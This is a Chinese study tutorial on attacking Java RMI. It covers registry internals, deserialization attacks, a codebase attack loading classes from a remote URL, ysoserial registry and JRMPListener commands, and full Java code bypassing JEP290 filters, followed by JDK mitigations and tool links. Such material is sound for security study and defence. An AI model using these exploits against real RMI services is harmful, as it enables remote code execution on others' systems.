RMI利用学习
字数 1815 2025-08-27 12:33:23
RMI利用学习文档
一、RMI基础概念
1.1 RMI简介
RMI(Remote Method Invocation)是Java的远程方法调用机制,允许一个Java虚拟机上的对象调用另一个Java虚拟机上对象的方法。特点:
- 对象使用序列化传输
- 方法执行在远程服务上完成
- 底层基于TCP协议通信
1.2 RMI核心组件
- 远程接口(Remote Interface):定义可远程调用的方法
- 远程对象实现(Remote Object Implementation):实现远程接口
- RMI注册表(RMI Registry):管理远程对象名称绑定
- 客户端(Client):查找并调用远程对象
1.3 基本代码结构
远程接口示例
package org.zzlearn_test.RMI;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface ServiceInterface extends Remote {
String hello(String a) throws RemoteException;
}
远程对象实现
package org.zzlearn_test.RMI;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class Service extends UnicastRemoteObject implements ServiceInterface {
protected Service() throws RemoteException {
super();
}
public String hello(String a) throws RemoteException {
System.out.println("call from "+a);
return "Hello " + a;
}
}
RMI服务端
package org.zzlearn_test.RMI;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class RMIServer {
private void start() throws Exception {
Service h = new Service();
LocateRegistry.createRegistry(1091);
Naming.bind("rmi://127.0.0.1:1091/Hello", h);
}
public static void main(String[] args) throws Exception {
new RMIServer().start();
}
}
RMI客户端
package org.zzlearn_test.RMI;
import java.rmi.Naming;
public class RMIClient {
public static void main(String[] args) throws Exception {
ServiceInterface hello = (ServiceInterface) Naming.lookup("rmi://127.0.0.1:1091/Hello");
String ret = hello.hello("test2");
System.out.println(ret);
}
}
二、RMI通信机制
2.1 通信流程
- 客户端首先连接RMI Registry
- Registry回复一个Data消息,包含新的端口信息
- 客户端根据Data中的信息(ip,端口)连接真正的RMI服务
- 客户端传输参数,服务端执行并返回结果
2.2 注册中心创建方式
两种获取注册中心的方式:
LocateRegistry.createRegistryLocateRegistry.getRegistry
createRegistry实现
public static Registry createRegistry(int port) throws RemoteException {
return new RegistryImpl(port);
}
public static Registry createRegistry(int port, RMIClientSocketFactory csf, RMIServerSocketFactory ssf) throws RemoteException {
return new RegistryImpl(port, csf, ssf);
}
getRegistry实现
public static Registry getRegistry(String host, int port, RMIClientSocketFactory csf) throws RemoteException {
LiveRef liveRef = new LiveRef(new ObjID(ObjID.REGISTRY_ID), new TCPEndpoint(host, port, csf, null), false);
RemoteRef ref = (csf == null) ? new UnicastRef(liveRef) : new UnicastRef2(liveRef);
return (Registry) Util.createProxy(RegistryImpl.class, ref, false);
}
2.3 绑定过程分析
createRegistry返回的是RegistryImpl对象,直接操作本地绑定getRegistry返回的是RegistryImpl_Stub对象,通过远程调用绑定
直接绑定流程
public void bind(String var1, Remote var2) throws RemoteException, AlreadyBoundException, AccessException {
checkAccess("Registry.bind");
synchronized(this.bindings) {
Remote var4 = (Remote)this.bindings.get(var1);
if (var4 != null) {
throw new AlreadyBoundException(var1);
} else {
this.bindings.put(var1, var2);
}
}
}
远程绑定流程
public void bind(String var1, Remote var2) throws AccessException, AlreadyBoundException, RemoteException {
try {
RemoteCall var3 = super.ref.newCall(this, operations, 0, 4905912898345647071L);
try {
ObjectOutput var4 = var3.getOutputStream();
var4.writeObject(var1);
var4.writeObject(var2);
} catch (IOException var5) {
throw new MarshalException("error marshalling arguments", var5);
}
super.ref.invoke(var3);
super.ref.done(var3);
} catch (RuntimeException var6) {
throw var6;
}
}
三、RMI攻击面分析
3.1 攻击场景分类
- 攻击服务端
- 攻击客户端
- 攻击注册中心
- 利用DGC(分布式垃圾收集)攻击
3.2 攻击方法
3.2.1 直接反序列化攻击
当服务端接受Object类型参数时,可构造恶意序列化对象:
public class RMIClient {
public static void main(String[] args) throws Exception {
Object seri = CommonsCollections6TemplatesImpl();
ServiceInterface hello = (ServiceInterface) Naming.lookup("rmi://127.0.0.1:1091/Hello");
String ret = hello.hello(seri);
System.out.println(ret);
}
}
3.2.2 利用codebase执行任意代码
条件:
java.rmi.server.useCodebaseOnly=false或Java版本<7u21/6u45- 设置了
System.setSecurityManager(new RMISecurityManager());
攻击方式:
java -Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://example.com/ RMIClient
3.2.3 攻击注册中心
使用ysoserial工具:
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1091 CommonsCollections1 "calc.exe"
3.2.4 利用DGC攻击
使用JRMPListener:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "calc.exe"
客户端触发:
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RegistryToClient {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
registry.unbind("http://127.0.0.1/Hello");
}
}
3.3 绕过限制技术
3.3.1 绕过参数类型限制
当方法参数类型为String等非Object时,需要:
- 修改方法hash或参数类型
- 使用网络代理修改序列化对象
- 使用工具如:https://github.com/Afant1/RemoteObjectInvocationHandler
3.3.2 绕过JEP290限制
方法一:利用DGC开启JRMP(8u121-8u230)
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.lang.reflect.Proxy;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
public class JRMPToRegistry {
public static void main(String[] args) throws Exception {
Registry reg = LocateRegistry.getRegistry("127.0.0.1",1091);
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 1234);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(Registry.class.getClassLoader(),
new Class[] { Registry.class }, obj);
reg.bind("test12",proxy);
}
}
方法二:利用UnicastRemoteObject(8u231-8u240)
import sun.rmi.registry.RegistryImpl_Stub;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.io.ObjectOutput;
import java.lang.reflect.*;
import java.rmi.registry.*;
import java.rmi.server.*;
import java.util.Random;
public class Client2 {
public static void main(String[] args) throws Exception {
UnicastRemoteObject payload = getPayload();
Registry registry = LocateRegistry.getRegistry(1091);
bindReflection("pwn", payload, registry);
}
static UnicastRemoteObject getPayload() throws Exception {
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 1234);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref);
RMIServerSocketFactory factory = (RMIServerSocketFactory) Proxy.newProxyInstance(
handler.getClass().getClassLoader(),
new Class[]{RMIServerSocketFactory.class, Remote.class},
handler
);
Constructor<UnicastRemoteObject> constructor = UnicastRemoteObject.class.getDeclaredConstructor();
constructor.setAccessible(true);
UnicastRemoteObject unicastRemoteObject = constructor.newInstance();
Field field_ssf = UnicastRemoteObject.class.getDeclaredField("ssf");
field_ssf.setAccessible(true);
field_ssf.set(unicastRemoteObject, factory);
return unicastRemoteObject;
}
static void bindReflection(String name, Object obj, Registry registry) throws Exception {
Field ref_filed = RemoteObject.class.getDeclaredField("ref");
ref_filed.setAccessible(true);
UnicastRef ref = (UnicastRef) ref_filed.get(registry);
Field operations_filed = RegistryImpl_Stub.class.getDeclaredField("operations");
operations_filed.setAccessible(true);
Operation[] operations = (Operation[]) operations_filed.get(registry);
RemoteCall remoteCall = ref.newCall((RemoteObject) registry, operations, 0, 4905912898345647071L);
ObjectOutput outputStream = remoteCall.getOutputStream();
Field enableReplace_filed = ObjectOutputStream.class.getDeclaredField("enableReplace");
enableReplace_filed.setAccessible(true);
enableReplace_filed.setBoolean(outputStream, false);
outputStream.writeObject(name);
outputStream.writeObject(obj);
ref.invoke(remoteCall);
ref.done(remoteCall);
}
}
四、防御措施
4.1 JDK安全更新
- 8u121:增加
checkAccess方法检查是否为localhost - 8u141:在
RegistryImpl_Skel中提前执行checkAccess - JEP290:引入反序列化过滤机制
4.2 JEP290机制
- 实现
ObjectInputFilter接口 - 提供可配置的过滤机制(白名单/黑名单)
- 白名单包含:String、Number、Remote、Proxy、UnicastRef等
4.3 最佳实践
- 升级到最新JDK版本
- 设置
java.rmi.server.useCodebaseOnly=true - 限制RMI服务网络访问
- 使用安全管理器并配置严格策略
五、工具推荐
- BaRMIe:RMI危险方法探测工具
https://github.com/NickstaDB/BaRMIe - ysoserial:反序列化利用工具
https://github.com/frohoff/ysoserial - RemoteObjectInvocationHandler:绕过参数限制工具
https://github.com/Afant1/RemoteObjectInvocationHandler - ysomap:高级RMI利用框架
https://github.com/wh1t3p1g/ysomap